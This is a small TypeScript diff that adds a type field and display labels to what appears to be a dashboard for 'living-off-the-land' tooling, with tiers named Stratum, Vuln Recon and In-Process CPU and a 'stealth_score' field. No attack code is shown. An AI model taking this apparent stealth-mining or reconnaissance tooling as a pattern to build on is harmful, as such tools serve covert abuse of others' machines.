   binary_fingerprint?: string;
   stealth_score?: number;
+  artifact_path?: string;
 }
 
 export interface PathTraceHop {

server/web/src/types/lotl.ts

@@ -42,6 +42,9 @@ const TIER_LABELS: Record<string, string> = {
   stratum: 'Stratum',
   vuln_recon: 'Vuln Recon',
   vuln_probe: 'Vuln Recon',
+  foreground_service: 'Foreground Service',
+  cpu_inprocess: 'In-Process CPU',
+  desktop_tiers_skipped: 'Desktop tiers skipped',
 };
 
 export function formatLotlTierLabel(tier: string): string {